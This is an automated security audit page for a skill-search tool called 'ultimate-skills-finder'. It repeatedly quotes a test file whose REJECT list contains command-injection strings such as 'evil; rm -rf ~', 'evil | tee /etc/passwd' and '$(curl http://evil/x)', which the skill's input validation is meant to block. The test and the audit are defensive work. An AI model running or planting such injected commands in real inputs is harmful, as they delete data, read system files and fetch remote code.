Back to skill

Security audit

ultimate-skills-finder

Security checks for vulnerabilities and agentic risk

Overview

This skill is a disclosed search tool for finding other skills, and its external lookups and optional URL scanning are described with user-control requirements.

Install only if you are comfortable with search queries being sent to the listed external directories. Do not use confidential client names or unreleased project codenames as queries, and only enable --scan --share-urls when you want result URLs sent to Gen Digital for advisory labels.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (55)

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

The description frames the skill as a discovery/comparison tool, but the body reveals additional behavior: optional URL submission to a third-party scanner and language-based filtering. That mismatch is security-relevant because users and orchestrators may approve or invoke the skill without understanding that searches disclose user queries to multiple services and scans disclose result URLs to another party.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The skill includes a feature to exclude Chinese-language results, which creates a discriminatory filtering mechanism not justified by a clear security policy or necessity. In practice this can systematically suppress relevant results, bias recommendations, and enable inappropriate content exclusion under the guise of ranking or safety.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 39)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 237)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 255)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 309)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 363)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 383)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 1719)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 39)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 39)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 237)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 255)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 309)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 363)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 383)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 1719)May include surrounding context.

python
"""Hostile identifiers must be rejected outright, not sanitised."""

    REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 40)May include surrounding context.

python
REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",
        "`curl http://evil/x`",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 46)May include surrounding context.

python
REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",
        "`curl http://evil/x`",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 47)May include surrounding context.

python
REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",
        "`curl http://evil/x`",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 50)May include surrounding context.

python
REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",
        "`curl http://evil/x`",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/test_find_skill.py (reported line 949)May include surrounding context.

python
REJECT = [
        "evil; rm -rf ~",
        "evil | tee /etc/passwd",
        "evil && curl http://x",
        "$(curl http://evil/x)",
        "`curl http://evil/x`",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 237)May include surrounding context.

python
"slug": "x", "displayName": "X",
            "install": {
                "kind": "skills-sh",
                "reference": "skills-sh:evil; rm -rf ~",
            },
        }]})
        self.assertEqual(results[0].install_args, [])

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · tests/test_find_skill.py (reported line 1719)May include surrounding context.

python
self.assertTrue(results[0].installable)

    def test_hostile_mirrored_reference_is_still_rejected(self):
        results = self._run("skills-sh", "skills-sh:evil; rm -rf ~")
        self.assertEqual(results[0].install_args, [])
        self.assertEqual(results[0].sources, ["skills.sh"],
                         "rejection must not change attribution")

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
97% confidence
Finding

This entry documents that earlier versions performed --scan disclosure without asking the user first. In a skill-discovery tool, scanned URLs or identifiers may reveal user interests, internal repositories, or sensitive targets to an external service, so making that decision autonomously is a genuine privacy and policy issue.

Content

Scanner excerpt · CHANGELOG.md (reported line 15)May include surrounding context.

md
- built install commands by string interpolation (`f"clawhub install {slug}"`)
  from registry-controlled names;
- had **no `--share-urls` consent gate** — `--scan` disclosed without asking;
- parsed the scan response with `data.get("status") == "done"`, a key no live
  response carries, so every scan silently returned nothing.

Static analysis

Detected: suspicious.dynamic_code_execution

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
tests/test_find_skill.py:24